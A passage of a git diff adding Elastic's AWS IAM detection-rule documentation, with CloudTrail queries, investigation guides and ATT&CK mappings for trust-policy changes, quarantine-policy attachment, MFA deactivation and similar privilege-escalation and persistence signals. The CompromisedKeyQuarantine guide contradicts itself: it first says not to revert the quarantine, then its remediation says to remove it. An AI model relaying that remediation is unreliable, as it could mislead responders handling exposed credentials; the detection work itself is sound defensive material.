Determine if this session token was associated with prior `sts:GetSessionToken`, `sts:AssumeRole`, or `AWS SSO` events. + +- **Evaluate source and behavior** + - Inspect `source.ip` and `user_agent.original` for unexpected origins or tools. + - Check if the request came from known infrastructure (e.g., CI/CD nodes, bastion hosts) or an anomalous network. + - Compare `@timestamp` against normal operating hours or deployment schedules. + +- **Correlate related activity** + - Look for subsequent or preceding activity using the same access key: + - IAM changes (`CreateUser`, `AttachUserPolicy`, `EnableMFADevice`) + - STS operations (`AssumeRole`, `GetCallerIdentity`) + - CloudTrail or GuardDuty configuration changes (possible defense evasion) + - If applicable, search for multiple users exhibiting similar patterns, a sign of large-scale token misuse. + + +*False positive analysis* + + +- **Expected automation** + - Some CI/CD pipelines, monitoring tools, or AWS SDK-based automation may perform IAM operations using temporary credentials. + - Validate whether the IAM user or assumed role performing these actions belongs to an authorized automation workflow. +- **Administrative operations** + - Security or DevOps engineers may temporarily use session credentials for maintenance or testing. + - Cross-reference with recent change tickets or known operations schedules. +- **Federated identity scenarios** + - Federated logins (via AWS SSO or external IdPs) can also generate temporary "ASIA" credentials. Verify if the source identity + aligns with expected roles or groups. +- **Console Login Session** + - Console login sessions result in temporary "ASIA" credentials and can typically be ignored for this alert. This can be verified in `event.original` as `sessionCredentialFromConsole: true` + + +*Response and remediation* + + +- **Containment** + - If activity is unauthorized, immediately revoke the temporary session by invalidating the associated IAM credentials. + - Rotate long-term credentials (access keys, passwords) for the parent IAM user or role. + +- **Investigation** + - Search for all actions linked to the same `access_key_id` to assess potential persistence or lateral movement. + - Examine the creation of new users, keys, or policies during or shortly after the detected session. + +- **Recovery and hardening** + - Require MFA for all privileged actions using `aws:MultiFactorAuthPresent` conditions. + - Implement detection coverage for follow-on persistence actions such as: + - `iam:CreateAccessKey` + - `iam:PutUserPolicy` + - `iam:UpdateAssumeRolePolicy` + - Educate administrative users and developers on secure token handling and the risks of shared credential reuse. + + +*Additional information* + + +For more information on detecting and mitigating session token abuse: +- **https://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html[AWS Security Token Service (STS) Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: ("iam.amazonaws.com") + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + and aws.cloudtrail.user_identity.access_key_id: ASIA* + and source.ip: * + and not user_agent.original : "AWS Internal" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-assume-role-policy-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-assume-role-policy-update.asciidoc new file mode 100644 index 0000000000..73ec9908f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-assume-role-policy-update.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-aws-iam-assume-role-policy-update]] +=== AWS IAM Assume Role Policy Update + +Identifies AWS CloudTrail events where an IAM role's trust policy has been updated by an IAM user or Assumed Role identity. The trust policy is a JSON document that defines which principals are allowed to assume the role. An attacker may attempt to modify this policy to gain the privileges of the role. This is a New Terms rule, which means it will only trigger once for each unique combination of the "cloud.account.id", "user.name" and "target.entity.id" fields, that have not been seen making this API request. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.bishopfox.com/tech-blog/5-privesc-attack-vectors-in-aws + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Privilege Escalation + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Assume Role Policy Update* + + +An IAM role is an IAM identity that you can create in your account that has specific permissions. An IAM role is similar to an IAM user, in that it is an AWS identity with permission policies that determine what the identity can and cannot do in AWS. However, instead of being uniquely associated with one person, a role is intended to be assumable by anyone who needs it. Also, a role does not have standard long-term credentials such as a password or access keys associated with it. Instead, when you assume a role, it provides you with temporary security credentials for your role session. + +The role trust policy is a JSON document in which you define the principals you trust to assume the role. This policy is a required resource-based policy that is attached to a role in IAM. An attacker may attempt to modify this policy by using the `UpdateAssumeRolePolicy` API action to gain the privileges of that role. + + +*Possible investigation steps* + + +- Review the `aws.cloudtrail.user_identity.arn` to determine the IAM User that performed the action. +- If an AssumedRole identity type performed the action review the `aws.cloudtrail.user_identity.session_context.session_issuer.arn` field to determine which role was used. +- Review the `target.entity.id` field to confirm the role that was updated. +- Within the `aws.cloudtrail.request_parameters` field, review the `policyDocument` to understand the changes made to the trust policy. +- If `aws.cloudtrail.user_identity.access_key_id` is present, investigate the access key used to perform the action as it may be compromised. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of the user agent and user ID conditions — to cover administrator activities and infrastructure as code tooling. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Use AWS https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-versioning.html[policy versioning] to restore the trust policy to the desired state. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateAssumeRolePolicy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..ec056ed2bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-aws-iam-compromisedkeyquarantine-policy-attached-to-user]] +=== AWS IAM CompromisedKeyQuarantine Policy Attached to User + +This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html/ +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Credential Access + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User* + + +The AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials. +This action is accompanied by a support case which specifies instructions to follow before detaching the policy. + + +*Possible Investigation Steps* + + +- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity. +- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine. +- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities. +- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key. + + +*False Positive Analysis* + + +- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials. +- **Policy Update**: Review and possibly update your organization’s policies on credential storage to tighten control and prevent public exposure. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. + + +*Additional Information:* + + +For further guidance on managing and securing credentials in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS IAM User Guide] regarding security best practices and guidance on https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html[Remediating Potentially Compromised AWS Credentials]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc new file mode 100644 index 0000000000..c23d74d385 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-aws-iam-create-user-via-assumed-role-on-ec2-instance]] +=== AWS IAM Create User via Assumed Role on EC2 Instance + +Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html +* https://www.dionach.com/en-us/breaking-into-the-cloud-red-team-tactics-for-aws-compromise/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Create User via Assumed Role on EC2 Instance* + + +This rule detects when an AWS Identity and Access Management (IAM) user is created through an assumed role on an EC2 instance. This action may indicate a potentially compromised instance where an adversary could be using the instance’s permissions to create a new IAM user, enabling persistent unauthorized access. + + +*Possible Investigation Steps* + + +- **Identify the Assumed Role and Initiating Instance**: + - **Role and Instance**: Examine the `aws.cloudtrail.user_identity.arn` field to determine the specific EC2 instance and role used for this action (e.g., `arn:aws:sts::[account-id]:assumed-role/[role-name]/[instance-id]`). Verify if this behavior aligns with expected usage or represents an anomaly. + +- **Analyze the Target IAM User**: + - **New User Details**: Inspect `aws.cloudtrail.request_parameters` to see the username that was created. Validate if the user is expected or authorized. + - **Review Creation Time and Context**: Compare the creation time (`@timestamp`) of the user with other activities from the same instance and role to assess if this creation was part of a larger chain of actions. + +- **Check User Agent and Tooling**: + - **User Agent Analysis**: Review `user_agent.original` to see if AWS CLI, SDK, or other tooling was used for this request. Identifiers such as `aws-cli`, `boto3`, or similar SDK names can indicate the method used, which may differentiate automation from interactive actions. + - **Source IP and Location**: Use the `source.ip` and `source.geo` fields to identify the IP address and geographic location of the event. Verify if this aligns with expected access patterns for your environment. + +- **Evaluate for Persistence Indicators**: + - **Role Permissions**: Check the permissions associated with the assumed role (`arn:aws:iam::[account-id]:role/[role-name]`) to determine if creating IAM users is a legitimate activity for this role. + - **Automated Role Patterns**: If the assumed role or instance typically creates IAM users for automation purposes, validate this action against historical records to confirm if the event is consistent with normal patterns. + +- **Review Related CloudTrail Events**: + - **Additional IAM Actions**: Investigate for other recent IAM or CloudTrail events tied to this role or instance, especially `CreateAccessKey` or `AttachUserPolicy` actions. These could signal further attempts to empower or utilize the newly created user. + - **Correlate with Other Suspicious Activities**: Determine if other roles or instances recently initiated similar unusual actions, such as privilege escalations or data access. + + +*False Positive Analysis* + + +- **Expected Automation**: Assumed roles may be used by legitimate automated systems that create users for specific workflows. Confirm if this event aligns with known automation activities. +- **Role Exceptions**: If this action is routine for specific roles, consider adding those roles to a monitored exception list for streamlined review. + + +*Response and Remediation* + + +- **Immediate Access Review**: If user creation was unauthorized, restrict the assumed role’s permissions to prevent further user creation. +- **Delete Unauthorized Users**: Confirm and remove any unauthorized IAM users, adjusting IAM policies to reduce similar risks. +- **Enhance Monitoring and Alerts**: Enable enhanced logging or real-time alerts for this role or instance to detect further unauthorized access attempts. +- **Policy Update**: Consider updating IAM policies associated with roles on EC2 instances to limit sensitive actions like IAM user creation. + + +*Additional Information* + + +For further guidance on managing IAM roles and permissions within AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html[AWS IAM documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateUser" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and user.id: *\:i-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-customer-managed-policy-attached-to-role-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-customer-managed-policy-attached-to-role-by-rare-user.asciidoc new file mode 100644 index 0000000000..38ba638ac5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-customer-managed-policy-attached-to-role-by-rare-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-aws-iam-customer-managed-policy-attached-to-role-by-rare-user]] +=== AWS IAM Customer-Managed Policy Attached to Role by Rare User + +Detects when an AWS Identity and Access Management (IAM) customer-managed policy is attached to a role by an unusual or unauthorized user. Customer-managed policies are policies created and controlled within an AWS account, granting specific permissions to roles or users when attached. This rule identifies potential privilege escalation by flagging cases where a customer-managed policy is attached to a role by an unexpected actor, which could signal unauthorized access or misuse. Attackers may attach policies to roles to expand permissions and elevate their privileges within the AWS environment. This is a New Terms rule that uses the "cloud.account.id", "user.name" and "target.entity.id" fields to check if the combination of the actor identity and target role name has not been seen before. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Customer-Managed Policy Attached to Role by Rare User* + + +This rule detects when a customer-managed IAM policy is attached to a role by an unusual or unauthorized user. This activity may indicate a potential privilege escalation attempt within the AWS environment. Adversaries could attach policies to roles to expand permissions, thereby increasing their capabilities and achieving elevated access. + + +*Possible Investigation Steps* + + +- **Identify the Initiating User and Target Role**: + - **User Identity**: Examine the `aws.cloudtrail.user_identity.arn` field to determine the user who initiated the policy attachment. Confirm if this user typically has permissions to modify IAM roles and if their activity is consistent with their usual responsibilities. + - **Target Role**: Review `target.entity.id` to identify the role to which the policy was attached. Assess whether modifying this role is expected for this user or if this action is unusual in your environment. + +- **Analyze the Attached Policy**: + - **Policy ARN**: Inspect the `aws.cloudtrail.request_parameters` field to identify the specific customer-managed policy attached to the role. Evaluate if this policy grants sensitive permissions, especially permissions that could enable privileged actions or data access. + - **Policy Permissions**: Examine the policy content to determine the scope of permissions granted. Policies enabling actions like `s3:*`, `ec2:*`, or `iam:*` could be leveraged for broader access, persistence, or lateral movement. + +- **Review Source and User Agent Details**: + - **Source IP and Location**: Analyze the `source.ip` and `source.geo` fields to confirm the IP address and geographic location where the policy attachment originated. Verify if this matches expected locations for the initiating user. + - **User Agent Analysis**: Examine `user_agent.original` to determine if AWS CLI, SDK, or other tooling was used to perform this action. Tool identifiers like `aws-cli` or `boto3` may indicate automation, while others may suggest interactive sessions. + +- **Evaluate Anomalous Behavior Patterns**: + - **User’s Historical Activity**: Check if the initiating user has a history of attaching policies to roles. An unusual pattern in policy attachments could indicate suspicious behavior, especially if the user lacks authorization. + - **Role Modification History**: Investigate if the targeted role is frequently modified by this or other users. Repeated, unauthorized modifications to a role could signal an attempt to maintain elevated access. + +- **Correlate with Related CloudTrail Events**: + - **Other IAM or CloudTrail Activities**: Look for recent actions associated with the same user or role by reviewing `event.action` and `event.provider` to identify which AWS services were accessed. This may provide context on the user’s intent or additional actions taken. + - **Broader Suspicious Patterns**: Identify if similar anomalous events have recently occurred, potentially suggesting a coordinated or escalating attack pattern within the AWS account. + + +*False Positive Analysis* + + +- **Authorized Administrative Actions**: IAM administrators may legitimately attach policies to roles as part of routine role management. Verify if the user is authorized and if the activity aligns with expected administrative tasks. +- **Role-Specific Modifications**: Roles that frequently undergo policy updates may trigger this rule during standard operations. Consider monitoring for patterns or establishing known exceptions for specific users or roles where appropriate. + + +*Response and Remediation* + + +- **Immediate Access Review**: If the policy attachment is unauthorized, consider detaching the policy and reviewing the permissions granted to the initiating user. +- **Restrict Role Modification Permissions**: Limit which users or roles can attach policies to critical IAM roles. Apply least privilege principles to reduce the risk of unauthorized policy changes. +- **Enhance Monitoring and Alerts**: Enable real-time alerts and monitoring on IAM policy modifications to detect similar actions promptly. +- **Regular Policy Audits**: Conduct periodic audits of IAM policies and role permissions to ensure that unauthorized changes are quickly identified and addressed. + + +*Additional Information* + + +For more information on managing IAM policies and roles in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html[AWS IAM Documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "AttachRolePolicy" + and event.outcome: "success" + and not related.entity: arn\:aws\:iam\:\:aws\:policy* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-deactivation-of-mfa-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-deactivation-of-mfa-device.asciidoc new file mode 100644 index 0000000000..30827816ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-deactivation-of-mfa-device.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-aws-iam-deactivation-of-mfa-device]] +=== AWS IAM Deactivation of MFA Device + +Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Resources: Investigation Guide +* Tactic: Impact +* Tactic: Persistence + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Deactivation of MFA Device* + + +This rule detects successful deactivation of a Virtual MFA device in AWS IAM. +Deactivation removes MFA enforcement from an IAM user, significantly lowering account resilience against credential theft or unauthorized access. +Since MFA devices must be deactivated before deletion, this represents the earliest and most critical opportunity to detect potential account compromise or persistence activity. + +For more information about using MFA in AWS, access the https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[official documentation]. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deactivation. + - Check whether the actor typically manages MFA or has the IAM permissions to perform such actions. + - Review `user_agent.original` to confirm if the operation was performed via the AWS Console, CLI, or SDK. + +- **Review the source and location** + - Investigate `source.ip` and `source.geo` fields for unusual origins or unrecognized locations. + - Determine if this request originated from known automation infrastructure, internal IP ranges, or a personal endpoint. + +- **Correlate with other related activity** + - Look for preceding API calls such as `ListMFADevices`, `GetSessionToken`, or `ListUsers`, which may indicate reconnaissance or IAM enumeration. + - Search for subsequent `DeleteVirtualMFADevice` calls to confirm whether the deactivated device was later deleted — a common follow-up action. + - Check for any privilege changes, credential creations (`CreateAccessKey`, `AttachUserPolicy`), or unexpected login attempts following the deactivation. + +- **Validate authorization** + - Confirm with IAM or security administrators whether the action was part of an authorized device rotation or remediation. + - If not documented or approved, escalate as a potential credential compromise or persistence attempt. + + +*False positive analysis* + + +- **Legitimate device rotation** + - When replacing an MFA device, AWS requires deactivation of the existing device before the new one can be enabled. +- **Administrative maintenance** + - IAM administrators or automation pipelines may deactivate MFA as part of account management or recovery workflows. + + +*Response and remediation* + + +- **Containment** + - Re-enable MFA for the affected IAM user (`EnableMFADevice`) or temporarily disable their login access until legitimacy is confirmed. + - Revoke temporary credentials or tokens associated with the actor to prevent further misuse. + +- **Investigation and scoping** + - Review CloudTrail history for additional IAM configuration changes or access key creation events tied to the same principal. + - Determine whether sensitive resources were accessed after MFA removal. + - Identify whether multiple users had MFA devices deactivated in a short timeframe — an indicator of broader compromise. + +- **Recovery and hardening** + - Require MFA for all privileged IAM users and enforce it using service control policies (SCPs). + - Enable GuardDuty or Security Hub findings for IAM anomaly detection related to account takeover or configuration changes. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html[DeactivateMFADevice API Reference]** +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: iam.amazonaws.com + and event.action: DeactivateMFADevice + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-creation.asciidoc new file mode 100644 index 0000000000..e8b97338c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-group-creation.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-aws-iam-group-creation]] +=== AWS IAM Group Creation + +Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. + +*Rule type*: query + +*Rule indices*: + +* 